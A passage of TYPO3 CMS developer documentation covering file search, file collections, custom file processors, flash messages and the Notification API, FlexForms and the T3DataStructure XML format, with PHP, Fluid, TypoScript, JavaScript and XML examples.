final class SearchInStorageExample
{
    private StorageRepository $storageRepository;

    public function __construct(StorageRepository $storageRepository) {
        $this->storageRepository = $storageRepository;
    }

    public function search($searchWord): void
    {
        $storage = $this->storageRepository->getDefaultStorage();

        $searchDemand = FileSearchDemand::createForSearchTerm($searchWord)->withRecursive();
        $files = $storage->searchFiles($searchDemand);

        // ... more logic
    }
}
Copied!

Add additional restrictions

It is possible to further limit the result set, by adding additional restrictions to the FileSearchDemand. Please note, that FileSearchDemand is an immutable value object, but allows chaining methods for ease of use:

EXT:my_extension/Classes/SearchInStorageWithRestrictionsExample.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\Search\FileSearchDemand;
use TYPO3\CMS\Core\Resource\StorageRepository;

final class SearchInStorageWithRestrictionsExample
{
    private StorageRepository $storageRepository;

    public function __construct(StorageRepository $storageRepository) {
        $this->storageRepository = $storageRepository;
    }

    public function search($searchWord): void
    {
        $storage = $this->storageRepository->getDefaultStorage();

        // Get the 10 biggest files in the storage
        $searchDemand = FileSearchDemand::createForSearchTerm($searchWord)
            ->withRecursive()
            ->withMaxResults(10)
            ->addOrdering('sys_file', 'size', 'DESC');
        $files = $storage->searchFiles($searchDemand);

        // ... more logic
    }
}
Copied!

API

class FileSearchDemand
Fully qualified name
\TYPO3\CMS\Core\Resource\Search\FileSearchDemand

Immutable value object that represents a search demand for files.

create ( )
returntype

self

createForSearchTerm ( string $searchTerm)
param string $searchTerm

the searchTerm

returntype

self

getSearchTerm ( )
returntype

string

getFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

getFirstResult ( )
returntype

int

getMaxResults ( )
returntype

int

getSearchFields ( )
returntype

array

getOrderings ( )
returntype

array

isRecursive ( )
returntype

bool

withSearchTerm ( string $searchTerm)
param string $searchTerm

the searchTerm

returntype

self

withFolder ( TYPO3\\CMS\\Core\\Resource\\Folder $folder)
param TYPO3\\CMS\\Core\\Resource\\Folder $folder

the folder

returntype

self

withStartResult ( int $firstResult)

Requests the position of the first result to retrieve (the "offset").

Same as in QueryBuilder it is the index of the result set, with 0 being the first result.

param int $firstResult

the firstResult

returntype

self

withMaxResults ( int $maxResults)
param int $maxResults

the maxResults

returntype

self

addSearchField ( string $tableName, string $field)
param string $tableName

the tableName

param string $field

the field

returntype

self

addOrdering ( string $tableName, string $fieldName, string $direction = 'ASC')
param string $tableName

the tableName

param string $fieldName

the fieldName

param string $direction

the direction, default: 'ASC'

returntype

self

withRecursive ( )
returntype

self

There is also a driver capability \TYPO3\CMS\Core\Resource\ResourceStorageInterface::CAPABILITY_HIERARCHICAL_IDENTIFIERS to allow implementing an optimized search with good performance. Drivers can optionally add this capability in case the identifiers that are constructed by the driver include the directory structure. Adding this capability to drivers can provide a big performance boost when it comes to recursive search (which is default in the file list and file browser UI).

File collections

File collections are collections of file references. They are used by the "File links" (download) content element.

A file links content element

A "File links" content element referencing a file collection

File collections are stored in the sys_file_collection table. The selected files are stored in the sys_file_reference table.

Note that a file collection may also reference a folder, in which case all files inside the folder will be returned when calling that collection.

A folder collection

A file collection referencing a folder

Collections API

The TYPO3 Core provides an API to enable usage of collections inside extensions. The most important classes are:

\TYPO3\CMS\Core\Resource\FileCollectionRepository
Used to retrieve collections. It is not exactly an Extbase repository but works in a similar way. The default "find" methods refer to the sys_file_collection table and will fetch "static"-type collections.
\TYPO3\CMS\Core\Resource\Collection\StaticFileCollection
This class models the static file collection. It is important to note that collections returned by the repository (described above) are "empty". If you need to access their records, you need to load them first, using method loadContents(). On top of some specific API methods, this class includes all setters and getters that you may need to access the collection's data. For accessing the selected files, just loop on the collection (see example).
\TYPO3\CMS\Core\Resource\Collection\FolderBasedFileCollection
Similar to the StaticFileCollection, but for file collections based on a folder.
\TYPO3\CMS\Core\Resource\Collection\CategoryBasedFileCollection
File collection based on a single category.

Example

The following example demonstrates the usage of collections. Here is what happens in the controller:

EXT:my_extension/Classes/Controller/MyController.php
<?php

declare(strict_types=1);

namespace Collections;

use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Core\Resource\FileCollectionRepository;
use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;

final class MyController extends ActionController
{
    private FileCollectionRepository $collectionRepository;

    public function __construct(FileCollectionRepository $collectionRepository)
    {
        $this->collectionRepository = $collectionRepository;
    }

    /**
     * Renders the list of all existing collections and their content
     */
    public function listAction(): ResponseInterface
    {
        // Get all existing collections
        $collections = $this->collectionRepository->findAll() ?? [];

        // Load the records in each collection
        foreach ($collections as $aCollection) {
            $aCollection->loadContents();
        }

        // Assign the "loaded" collections to the view
        $this->view->assign('collections', $collections);

        return $this->htmlResponse();
    }
}
Copied!

All collections are fetched and passed to the view. The one specific step is the loop over all collections to load their referenced records. Remember that a collection is otherwise "empty".

In the view we can then either use collection member variables as usual (like their title) or put them directly in a loop to iterate over the record selection:

EXT:my_extension/Resources/Private/Templates/List.html
<f:section name="main">
    <ul class="collection with-header">
        <f:for each="{collections}" as="collection">
            <li class="collection-header">
                <h4>{collection.title} (Records from <code>{collection.itemTableName}</code>)</h4>
            </li>
            <f:for each="{collection}" as="record">
                <li class="collection-item">{record.name}</li>
            </f:for>
        </f:for>
    </ul>
</f:section>
Copied!

Here is what the result may look like (the exact result will obviously depend on the content of the selection):

Collections plugin output

Typical output from the "Collections" plugin

Custom file processors

For custom needs in terms of file processing, registration of custom file processors is available.

Create a new processor class

The file must implement the \TYPO3\CMS\Core\Resource\Processing\ProcessorInterface and two required methods.

canProcessTask()
Will decide whether the given file should be handled at all. The expected return type is boolean.
processTask()
Will then do whatever needs to be done to process the given file.

Register the file processor

To register a new processor, add the following code to ext_localconf.php

$GLOBALS['TYPO3_CONF_VARS']['SYS']['fal']['processors']['MyNewImageProcessor'] = [
    'className' => \MyVendor\ExtensionName\Resource\Processing\MyNewImageProcessor::class,
    'before' => ['LocalImageProcessor'],
];
Copied!

With the before and after options, priority can be defined.

Flash messages

There exists a generic system to show users that an action was performed successfully, or more importantly, failed. This system is known as "flash messages". The screenshot below shows the various severity levels of messages that can be emitted.

The "EXT:examples" backend module shows one of each type of flash message

The different severity levels are described below:

  • Notifications are used to show very low severity information. Such information usually is so unimportant that it can be left out, unless running in some kind of debug mode.
  • Information messages are to give the user some information that might be good to know.
  • OK messages are to signal a user about a successfully executed action.
  • Warning messages show a user that some action might be dangerous, cause trouble or might have partially failed.
  • Error messages are to signal failed actions, security issues, errors and the like.

Flash messages API

Creating a flash message is achieved by simply instantiating an object of class \TYPO3\CMS\Core\Messaging\FlashMessage

EXT:some_extension/Classes/Controller/SomeController.php
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Core\Messaging\FlashMessage;

// FlashMessage($message, $title, $severity = self::OK, $storeInSession)
$message = GeneralUtility::makeInstance(FlashMessage::class,
   'My message text',
   'Message Header',
   FlashMessage::WARNING,
   true
);
Copied!
$message:
The text of the message
$title:
[optional] the header
$severity:
[optional] the severity (default: FlashMessage::OK)
$storeInSession:
[optional] true: store in the session or false: store only in the \TYPO3\CMS\Core\Messaging\FlashMessageQueue object. Storage in the session should be used if you need the message to be still present after a redirection (default: false).

Flash messages severities

The severity is defined by using class constants provided by \TYPO3\CMS\Core\Messaging\FlashMessage :

  • FlashMessage::NOTICE for notifications
  • FlashMessage::INFO for information messages
  • FlashMessage::OK for success messages
  • FlashMessage::WARNING for warnings
  • FlashMessage::ERROR for errors

In backend modules you can then make that message appear on top of the module after a page refresh or the rendering of the next page request or render it on your own where ever you want.

This example adds the flash message at the top of modules when rendering the next request:

EXT:some_extension/Classes/Controller/SomeController.php
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Core\Messaging\FlashMessageService;

$flashMessageService = GeneralUtility::makeInstance(FlashMessageService::class);
$messageQueue = $flashMessageService->getMessageQueueByIdentifier();
$messageQueue->addMessage($message);
Copied!

The message is added to the queue and then the template class calls \TYPO3\CMS\Core\Messaging\FlashMessageQueue::renderFlashMessages() which renders all messages from the queue. Here's how such a message looks like in a module:

A typical (success) message shown at the top of a module

The recommend way to show flash messages is to use the Fluid Viewhelper <f:flashMessages />. This Viewhelper works in any context because it use the FlashMessageRendererResolver class to find the correct renderer for the current context.

Flash messages renderer

The implementation of rendering FlashMessages in the Core has been optimized.

A new class called FlashMessageRendererResolver has been introduced. This class detects the context and renders the given FlashMessages in the correct output format. It can handle any kind of output format. The Core ships with the following FlashMessageRenderer classes:

  • \TYPO3\CMS\Core\Messaging\Renderer\BootstrapRenderer This renderer is used by default in the TYPO3 backend. The output is based on Bootstrap markup
  • \TYPO3\CMS\Core\Messaging\Renderer\ListRenderer This renderer is used by default in the TYPO3 frontend. The output is a simple <ul> list
  • \TYPO3\CMS\Core\Messaging\Renderer\PlaintextRenderer This renderer is used by default in the CLI context. The output is plain text

All new rendering classes have to implement the \TYPO3\CMS\Core\Messaging\Renderer\FlashMessageRendererInterface interface. If you need a special output format, you can implement your own renderer class and use it:

EXT:some_extension/Classes/Controller/SomeController.php
use TYPO3\CMS\Core\Utility\GeneralUtility;
use Vendor\SomeExtension\Classes\Messaging\MySpecialRenderer;

$out = GeneralUtility::makeInstance(MySpecialRenderer::class)
   ->render($flashMessages);
Copied!

The Core has been modified to use the new FlashMessageRendererResolver. Any third party extension should use the provided FlashMessageViewHelper or the new FlashMessageRendererResolver class:

EXT:some_extension/Classes/Controller/SomeController.php
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Core\Messaging\FlashMessageRendererResolver;

$out = GeneralUtility::makeInstance(FlashMessageRendererResolver::class)
   ->resolve()
   ->render($flashMessages);
Copied!

Flash messages in Extbase

In Extbase the standard way of issuing flash messages is to add them in the controller. Code from the "examples" extension:

EXT:examples/Classes/Controller/ModuleController.php
$this->addFlashMessage('This is a simple success message');
Copied!

A more elaborate example:

EXT:examples/Classes/Controller/ModuleController.php
$this->addFlashMessage(
   'This message is forced to be NOT stored in the session by setting the fourth argument to FALSE.',
   'Success',
   FlashMessage::OK,
   false
);
Copied!

The messages are then displayed by Fluid with the relevant Viewhelper as shown in this excerpt of EXT:examples/Resources/Private/Layouts/Module.html:

<div id="typo3-docbody">
   <div id="typo3-inner-docbody">
      <f:flashMessages />
      <f:render section="main" />
   </div>
</div>
Copied!

Where to display the flash messages in an Extbase-based backend module is as simple as moving the ViewHelper around.

JavaScript-based flash messages (Notification API)

The TYPO3 Core provides a JavaScript-based API to trigger flash messages ("Notifications") that appear on the upper right corner of the TYPO3 backend. To use the notification API, load the TYPO3/CMS/Backend/Notification module and use one of its methods:

  • notice()
  • info()
  • success()
  • warning()
  • error()

All methods accept the same arguments.

title

| Condition: required | Type: string |

Contains the title of the notification.

message

| Condition: optional | Type: string | Default: '' |

The actual message that describes the purpose of the notification.

duration

| Condition: optional | Type: number | Default: '5 (0 for error())' |

The amount of seconds how long a notification will stay visible. A value of 0 disables the timer.

actions

| Condition: optional | Type: array | Default: '[]' |

Contains all actions that get rendered as buttons inside the notification.

Example:

require(['TYPO3/CMS/Backend/Notification'], function(Notification) {
  Notification.success('Well done', 'Whatever you did, it was successful.');
});
Copied!

Actions

Since TYPO3 v10.1 the notification API may bind actions to a notification that execute certain tasks when invoked. Each action item is an object containing the fields label and action:

label

| Condition: required | Type: string |

The label of the action item.

action

| Condition: required | Type: ImmediateAction|DeferredAction |

An instance of either ImmediateAction or DeferredAction.

Immediate action

An action of type ImmediateAction ( TYPO3/CMS/Backend/ActionButton/ImmediateAction) is executed directly on click and closes the notification. This action type is suitable for e.g. linking to a backend module.

The class accepts a callback method executing very simple logic.

Example:

require(['TYPO3/CMS/Backend/Notification', 'TYPO3/CMS/Backend/ActionButton/ImmediateAction'], function(Notification, ImmediateAction) {
  const immediateActionCallback = new ImmediateAction(function () {
    require(['TYPO3/CMS/Backend/ModuleMenu'], function (ModuleMenu) {
      ModuleMenu.showModule('web_layout');
    });
  });

  Notification.info('Nearly there', 'You may head to the Page module to see what we did for you', 10, [
    {
      label: 'Go to module',
      action: immediateActionCallback
    }
  ]);
});
Copied!

Deferred action

An action of type DeferredAction ( TYPO3/CMS/Backend/ActionButton/DeferredAction) is recommended when a long-lasting task is executed, e.g. an AJAX request.

This class accepts a callback method which must return a Promise (read more at developer.mozilla.org).

The DeferredAction replaces the action button with a spinner icon to indicate a task will take some time. It's still possible to dismiss a notification, which will not stop the execution.

Example:

require(['jquery', 'TYPO3/CMS/Backend/Notification', 'TYPO3/CMS/Backend/ActionButton/DeferredAction'], function($, Notification, DeferredAction) {
  const deferredActionCallback = new DeferredAction(function () {
    return Promise.resolve($.ajax(/* AJAX configuration */));
  });

  Notification.warning('Goblins ahead', 'It may become dangerous at this point.', 10, [
    {
      label: 'Delete the internet',
      action: deferredActionCallback
    }
  ]);
});
Copied!

FlexForms

FlexForms can be used to store data within an XML structure inside a single DB column.

More information on this data structure is available in the section T3DataStructure.

FlexForms can be used to configure content elements (CE) or plugins, but they are optional so you can create plugins or content elements without using FlexForms.

Most of the configuration below is the same, whether you are adding configuration for a plugin or content element. The main difference is how addPiFlexFormValue() is used.

You may want to configure individual plugins or content elements differently, depending on where they are added. The configuration set via the FlexForm mechanism applies to only the content record it has been configured for. The FlexForms configuration for a plugin or CE can be changed by editors in the backend. This gives editors more control over plugin features and what is to be rendered.

Using FlexForms you have all the features of TCA, so it is possible to use input fields, select lists, show options conditionally and more.

Example use cases

The bootstrap_package uses FlexForms to configure rendering options, e.g. a transition interval and transition type (slide, fade) for the carousel content element.

The carousel content element of EXT:bootstrap_package

Some more extensions that utilize FlexForms are:

  • georgringer/news
  • blog: This has a very small and basic FlexForm, so it might be a good starting point to look at.

How it works

  1. In the extension, a configuration schema is defined and attached to one or more content elements or plugins.
  2. When the CE or plugin is added to a page, it can be configured as defined by the configuration schema.
  3. The configuration for this content element is automatically saved to tt_content.pi_flexform.
  4. The extension can read current configuration and act according to the configuration.

Steps to perform (extension developer)

  1. Create configuration schema in T3DataStructure format (XML)

    Example: Configuration/FlexForms/Registration.xml.

    <?xml version="1.0" encoding="utf-8" standalone="yes" ?>
    <T3DataStructure>
        <sheets>
            <sDEF>
                <ROOT>
                    <TCEforms>
                        <sheetTitle>LLL:EXT:example/Resources/Private/Language/Backend.xlf:settings.registration.title</sheetTitle>
                    </TCEforms>
                    <type>array</type>
                    <el>
                        <!-- Add settings here ... -->
    
                        <!-- Example setting: input field with name settings.includeCategories -->
                        <settings.includeCategories>
                            <TCEforms>
                                <label>LLL:EXT:example/Resources/Private/Language/Backend.xlf:settings.registration.includeCategories</label>
                                <config>
                                    <type>check</type>
                                    <default>0</default>
                                    <items type="array">
                                        <numIndex index="0" type="array">
                                            <numIndex index="0">LLL:EXT:example/Resources/Private/Language/Backend.xlf:setting.registration.includeCategories.title</numIndex>
                                        </numIndex>
                                    </items>
                                </config>
                            </TCEforms>
                        </settings.includeCategories>
    
                        <!-- end of settings -->
    
                    </el>
                </ROOT>
            </sDEF>
        </sheets>
    </T3DataStructure>
    Copied!
  2. The configuration schema is attached to one or more plugins

    The vendor name is Myvendor, the extension key is example and the plugin name is Registration.

    In Configuration/TCA/Overrides/tt_content.php add the following:

    // plugin signature: <extension key without underscores> '_' <plugin name in lowercase>
    $pluginSignature = 'example_registration';
    $GLOBALS['TCA']['tt_content']['types']['list']['subtypes_addlist'][$pluginSignature] = 'pi_flexform';
    \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addPiFlexFormValue(
        $pluginSignature,
        // FlexForm configuration schema file
        'FILE:EXT:example/Configuration/FlexForms/Registration.xml'
    );
    Copied!

    Also look on the page Naming conventions.

    If you are using a content element instead of a plugin, the example will look like this:

    \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addPiFlexFormValue(
       // 'list_type' does not apply here
       '*',
       // FlexForm configuration schema file
       'FILE:EXT:example/Configuration/FlexForms/Registration.xml',
       // ctype
       'accordion'
    );
    Copied!
  3. Access the settings in your extension:

    The settings can be read using one of the methods described below, e.g. from an Extbase controller action, from a PHP function (without using the Extbase framework), from TypoScript or from within a Fluid template.

More examples

The definition of the data types and parameters used complies to the column types defined by TCA.

The settings must be added within the <el> element in the FlexForm configuration schema file.

Select field

<settings.orderBy>
    <TCEforms>
        <label>LLL:EXT:example/Resources/Private/Language/Backend.xlf:settings.registration.orderBy</label>
        <config>
            <type>select</type>
            <renderType>selectSingle</renderType>
            <items>
                <numIndex index="0">
                    <numIndex index="0">LLL:EXT:example/Resources/Private/Language/Backend.xlf:settings.registration.orderBy.crdate</numIndex>
                    <numIndex index="1">crdate</numIndex>
                </numIndex>
                <numIndex index="1">
                    <numIndex index="0">LLL:EXT:example/Resources/Private/Language/Backend.xlf:settings.registration.orderBy.title</numIndex>
                    <numIndex index="1">title</numIndex>
                </numIndex>
            </items>
        </config>
    </TCEforms>
</settings.orderBy>
Copied!

Populate a select field with a PHP Function (itemsProcFunc)

<settings.orderBy>
    <TCEforms>
        <label>LLL:EXT:example/Resources/Private/Language/Backend.xlf:settings.registration.orderBy</label>
        <config>
            <type>select</type>
            <itemsProcFunc>MyVendor\Example\Backend\ItemsProcFunc->user_orderBy</itemsProcFunc>
            <renderType>selectSingle</renderType>
            <items>
                <!-- empty by default -->
            </items>
        </config>
    </TCEforms>
</settings.orderBy>
Copied!

The function user_orderBy populates the select field in Backend/ItemsProcFunc.php:

class ItemsProcFunc
{
     /**
     * Modifies the select box of orderBy-options.
     *
     * @param array &$config configuration array
     */
    public function user_orderBy(array &$config)
    {
        // simple and stupid example
        // change this to dynamically populate the list!
        $config['items'] = [
            // label, value
            ['Timestamp', 'timestamp'],
            ['Title', 'title']
        ];
    }

    // ...
 }
Copied!

How this looks when configuring the plugin:

Display fields conditionally (displayCond)

Some settings may only make sense, depending on other settings. For example in one setting you define a sorting order (by date, title etc.) and all sort orders except "title" have additional settings. These should only be visible, if sort order "title" was not selected.

You can define conditions using displayCond. This dynamically defines whether a setting should be displayed when the plugin is configured. The conditions may for example depend on one or more other settings in the FlexForm, on database fields of current record or be defined by a user function.

<config>
    <type>select</type>
</config>
<!-- Hide field if value of neighbour field "settings.orderBy" on same sheet is not "title" -->
<displayCond>FIELD:settings.orderBy:!=:title</displayCond>
Copied!

Again, the syntax and available fields and comparison operators is documented in the TCA reference:

switchableControllerActions

Deprecated since version 10.3

Reload on change

Especially in combination with conditionally displaying settings with displayCond, you may want to trigger a reloading of the form when specific settings are changed. You can do that with:

<onChange>reload</onChange>
<config>
    <!-- ... -->
</config>
Copied!

The onChange element is optional and must be placed on the same level as the <config> element.

How to read FlexForms from an Extbase controller action

The settings can be read using $this->settings in an Extbase controller.

$includeCategories = (bool) ($this->settings['includeCategories'] ?? false);
Copied!

Read FlexForms values in PHP

You can use the FlexFormService to read the content of a FlexForm field:

EXT:my_extension/Classes/Controller/NonExtbaseController.php
use TYPO3\CMS\Core\Service\FlexFormService;
use TYPO3\CMS\Core\Utility\GeneralUtility;

final class NonExtbaseController
{

    // Inject FlexFormService
    public function __construct(
        private readonly FlexFormService $flexFormService,
    ) {
    }

    // ...

    private function loadFlexForm($flexFormString): array
    {
        return $this->flexFormService
            ->convertFlexFormContentToArray($flexFormString);
    }
}
Copied!

Using FlexFormService->convertFlexFormContentToArray the resulting array can be used conveniently in most use cases:

 var_export(
     $this->flexFormService->convertFlexFormContentToArray($flexFormString)
 );

/* Output:
[
    'settings' => [
        'singlePid' => 25,
        'listPid' => 380,
    ],
]
*/
Copied!

The result of GeneralUtility::xml2array() preserves the internal structure of the XML FlexForm, and is usually used to modify a FlexForm string. See section How to modify FlexForms from PHP for an example.

var_export(GeneralUtility::xml2array($flexFormString)));

/* Output:
[
    'data' =>
        [
            'sDEF' =>
                [
                    'lDEF' =>
                        [
                            'settings.singlePid' =>['vDEF' => '4',],
                            'settings.listPid' =>['vDEF' => '',],
                        ],
                ],
        ],
];
*/
Copied!

How to modify FlexForms from PHP

Some situation make it necessary to modify FlexForms via PHP.

In order to convert a FlexForm to a PHP array, preserving the structure, the xml2array method in GeneralUtility can be used to read the FlexForm data, then the FlexFormTools can be used to write back the changes.

use \TYPO3\CMS\Core\Utility\GeneralUtility;
use \TYPO3\CMS\Core\Configuration\FlexForm\FlexFormTools;

$flexFormArray = GeneralUtility::xml2array($flexFormString);
$changedFlexFormArray = $this->doSomething($flexFormArray);

$flexFormTools = new FlexFormTools();
$flexFormString = $flexFormTools->flexArray2Xml($changedFlexFormArray, addPrologue: true);
Copied!

How to access FlexForms From TypoScript

It is possible to read FlexForm properties from TypoScript:

lib.flexformContent = CONTENT
lib.flexformContent {
    table = tt_content
    select {
        pidInList = this
    }

    renderObj = COA
    renderObj {
        10 = TEXT
        10 {
            data = flexform: pi_flexform:settings.categories
        }
    }
}
Copied!

The key flexform is followed by the field which holds the FlexForm data (pi_flexform) and the name of the property whose content should be retrieved (settings.categories).

Providing default values for FlexForms attributes

When a new content element with an attached FlexForm is created, the default values for each FlexForm attribute is fetched from the <default> XML attribute within the specification of each FlexForm attribute. If that is missing, an empty value will be shown in the backend (FormEngine) fields.

While you can use page TSconfig's TCAdefaults to modify defaults of usual TCA-based attributes, this is not possible on FlexForms. This is because the values are calculated at an earlier step in the Core workflow, where FlexForm values have not yet been extracted.

How to access FlexForms from Fluid

If you are using an Extbase controller, FlexForm settings can be read from within a Fluid template using {settings}. See the note on naming restrictions in How to Read FlexForms From an Extbase Controller Action.

If you defined your FLUIDTEMPLATE in TypoScript, you can assign single variables like that:

my_content = FLUIDTEMPLATE
my_content {
  variables {
    categories = TEXT
    categories.data = flexform: pi_flexform:categories
  }
}
Copied!

In order to have all FlexForm fields available, you can add a custom DataProcessor. This example would make your FlexForm data available as Fluid variable {flexform}:

my_content = FLUIDTEMPLATE
my_content {
  dataProcessing {
    10 = Your\Ext\DataProcessing\FlexFormProcessor
  }
}
Copied!
namespace Your\Ext\DataProcessing;

use TYPO3\CMS\Core\Service\FlexFormService;
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Frontend\ContentObject\DataProcessorInterface;

class FlexFormProcessor implements DataProcessorInterface
{
    /**
     * @var FlexFormService
     */
    protected $flexFormService;

    public function __construct(FlexFormService $flexFormService) {
        $this->flexFormService = $flexFormService;
    }

    public function process(
        ContentObjectRenderer $cObj,
        array $contentObjectConfiguration,
        array $processorConfiguration,
        array $processedData
    ): array {
        $originalValue = $processedData['data']['pi_flexform'];
        if (!is_string($originalValue)) {
            return $processedData;
        }

        $flexformData = $this->flexFormService->convertFlexFormContentToArray($originalValue);
        $processedData['flexform'] = $flexformData;
        return $processedData;
    }
}
Copied!

Steps to Perform (Editor)

After inserting a plugin, the editor can configure this plugin by switching to the tab "Plugin" or whatever string you defined to replace this.

Credits

Some of the examples were taken from the extensions EXT:news (by Georg Ringer) and EXT:bootstrap_package (by Benjamin Kott).

Further enhancements by the TYPO3 community are welcome!

T3DataStructure

More information on the used data structures within FlexForms can be found in these following chapters:

T3DataStructure

TYPO3 offers an XML format, T3DataStructure, which defines a hierarchical data structure. In itself the data structure definition does not do much - it is only a back bone for higher level applications which can add their own configuration inside.

The T3DataStructure could be used for different applications in theory, however it is commonly only used in the context of FlexForms.

FlexForms are used in the contexts:

  • TCA form type FlexForms: The type allows users to build information hierarchies (in XML) according to the data structure. In this sense the Data Structure is like a DTD (Document Type Definition) for the backend which can render a dynamic form based on the Data Structure.
  • The configuration of plugins of many common extensions with FlexForms like news.
  • FlexForms can be used for containers created by the extensions like container or gridelements
  • dce an an extension to create content elements based on FlexForms.

This documentation of a data structure will document the general aspects of the XML format and leave the details about FlexForms and TemplaVoila to be documented elsewhere.

Some other facts about Data Structures (DS):

  • A Data Structure is defined in XML with the document tag named "<T3DataStructure>"
  • The XML format generally complies with what can be converted into a PHP array by GeneralUtility::xml2array() - thus it directly reflects how a multidimensional PHP array is constructed.
  • A Data Structure can be arranged in a set of "sheets". The purpose of sheets will depend on the application. Basically sheets are like a one-dimensional internal categorization of Data Structures.
  • Parsing a Data Structure into a PHP array can be achieved by passing it to GeneralUtility::xml2array() (see the Parsing a Data Structure section).
  • "DS" is sometimes used as short for Data Structure

Next chapters

Elements

This is the list of elements and their nesting in the Data Structure.

Elements Nesting Other Elements ("Array" Elements)

All elements defined here cannot contain any string value but must contain another set of elements.

(In a PHP array this corresponds to saying that all these elements must be arrays.)

Element

Description

Child elements

<T3DataStructure>

Document tag

<meta>

<ROOT> or <sheets>

<meta>

Can contain application specific meta settings

(depends on application)

<ROOT>

<[field name]>

Defines an "object" in the Data Structure

  • <ROOT> is reserved as tag for the first element in the Data Structure.The <ROOT> element must have a <type> tag with the value "array" and then define other objects nested in <el> tags.
  • [field name] defines the objects name

<type>

<section>

<el>

<[application tag]>

<sheets>

Defines a collection of "sheets" which is like a one-dimensional list of independent Data Structures

<[sheet name]>

<TCEforms>

Contains details about visual representation of sheets. If there is only a single sheet, applies to implicit single sheet.

<sheetTitle>

<displayCond>

<sheetTitle>

Title of the sheet. Mandatory for any sheet except the first (which gets "General" in this case). Can be a plain string or a reference to language file using standard LLL syntax. Ignored if sheets are not defined for the flexform.

 

<displayCond>

Condition that must be met in order for the sheet to be displayed. If the condition is not met, the sheet is hidden.

For more details refer to the description of the "displayCond" property in the TCA Reference.

 

<[sheet ident]>

Defines an independent data structure starting with a <ROOT> tag.

<ROOT>

<el>

Contains a collection of Data Structure "objects"

<[field name]>

Elements can use the attribute type to define their type, for example explicitly use boolean. An example would look like:

<required type="boolean">1</required>
Copied!

Elements Containing Values ("Value" Elements)

All elements defined here must contain a string value and no other XML tags whatsoever!

(In a PHP array this corresponds to saying that all these elements must be strings or integers.)

Element

Format

Description

<type>

Keyword string:

"array", [blank] (=default)

Defines the type of object.

  • "array" means that the object contains a collection of other objects defined inside the <el> tag on the same level. If the value is "array" you can use the boolean "<section>". See below.
  • Default value means that the object does not contain sub objects. The meaning of such an object is determined by the application using the data structure. For FlexForms this object would draw a form element.

<section>

Boolean

Defines for an object of the type <array> that it must contain other "array" type objects in each item of <el>. The meaning of this is application specific. For FlexForms it will allow the user to select between possible arrays of objects to create in the form. For TemplaVoila it will select a "container" element for another set of elements inside. This is quite fuzzy unless you understand the contexts.

Example

Below is the (truncated) structure for the plugin options of system extension "felogin". It shows an example of relative complex data structure used in a FlexForm. More information about such usage of FlexForms can be found in the relevant section of the TCA reference.

<T3DataStructure>
   <sheets>
      <sDEF>
         <ROOT>
            <TCEforms>
               <sheetTitle>LLL:EXT:felogin/locallang_db.xml:tt_content.pi_flexform.sheet_general</sheetTitle>
            </TCEforms>
            <type>array</type>
            <el>
               <showForgotPassword>
                  <TCEforms>
                     <label>LLL:EXT:felogin/locallang_db.xml:tt_content.pi_flexform.show_forgot_password</label>
                     <config>
                        <type>check</type>
                        <items type="array">
                           <numIndex index="1" type="array">
                              <numIndex index="0">LLL:EXT:core/Resources/Private/Language/locallang_core.xml:labels.enabled</numIndex>
                              <numIndex index="1">1</numIndex>
                           </numIndex>
                        </items>
                     </config>
                  </TCEforms>
               </showForgotPassword>
               <showPermaLogin>
                  <TCEforms>
                     <label>LLL:EXT:felogin/locallang_db.xml:tt_content.pi_flexform.show_permalogin</label>
                     <config>
                        <default>1</default>
                        <type>check</type>
                        <items type="array">
                           <numIndex index="1" type="array">
                              <numIndex index="0">LLL:EXT:core/Resources/Private/Language/locallang_core.xml:labels.enabled</numIndex>
                              <numIndex index="1">1</numIndex>
                           </numIndex>
                        </items>
                     </config>
                  </TCEforms>
               </showPermaLogin>
               // ...
            </el>
         </ROOT>
      </sDEF>
      <s_redirect>
         <ROOT>
            <TCEforms>
               <sheetTitle>LLL:EXT:felogin/locallang_db.xml:tt_content.pi_flexform.sheet_redirect</sheetTitle>
            </TCEforms>
            <type>array</type>
            <el>
               <redirectMode>
                  <TCEforms>
                     <label>LLL:EXT:felogin/locallang_db.xml:tt_content.pi_flexform.redirectMode</label>
                     <config>
                        <type>select</type>
                        <items type="array">
                           <numIndex index="0" type="array">
                              <numIndex index="0">LLL:EXT:felogin/locallang_db.xml:tt_content.pi_flexform.redirectMode.I.0</numIndex>
                              <numIndex index="1">groupLogin</numIndex>
                           </numIndex>
                           <numIndex index="1" type="array">
                              <numIndex index="0">LLL:EXT:felogin/locallang_db.xml:tt_content.pi_flexform.redirectMode.I.1</numIndex>
                              <numIndex index="1">userLogin</numIndex>
                           </numIndex>
                           // ...
                        </items>
                        <size>8</size>
                        <minitems>0</minitems>
                        <maxitems>8</maxitems>
                     </config>
                  </TCEforms>
               </redirectMode>
            </el>
         </ROOT>
      </s_redirect>
      <s_messages>
         // ...
      </s_messages>
   </sheets>
</T3DataStructure>
Copied!

Sheet References

If Data Structures are arranged in a collection of sheets you can choose to store one or more sheets externally in separate files. This is done by setting the value of the <[sheet ident]> tag to a relative file reference instead of being a definition of the <ROOT> element.

Example

Taking the Data Structure from the previous example we could rearrange it in separate files:

Main Data Structure:

<T3DataStructure>
  <sheets>
    <sDEF>fileadmin/sheets/default_sheet.xml</sDEF>
    <s_welcome>fileadmin/sheets/welcome_sheet.xml</s_welcome>
  </sheets>
</T3DataStructure>
Copied!

fileadmin/sheets/default_sheet.xml:

<T3DataStructure>
   <ROOT>
      <TCEforms>
         <sheetTitle>LLL:EXT:felogin/locallang_db.xlf:tt_content.pi_flexform.sheet_general</sheetTitle>
      </TCEforms>
      <type>array</type>
      <el>
         <showForgotPassword>
            <TCEforms>
               <label>LLL:EXT:felogin/locallang_db.xlf:tt_content.pi_flexform.show_forgot_password</label>
               <config>
                  <type>check</type>
                  <items type="array">
                     <numIndex index="1" type="array">
                        <numIndex index="0">LLL:EXT:core/Resources/Private/Language/locallang_core.xlf:labels.enabled</numIndex>
                        <numIndex index="1">1</numIndex>
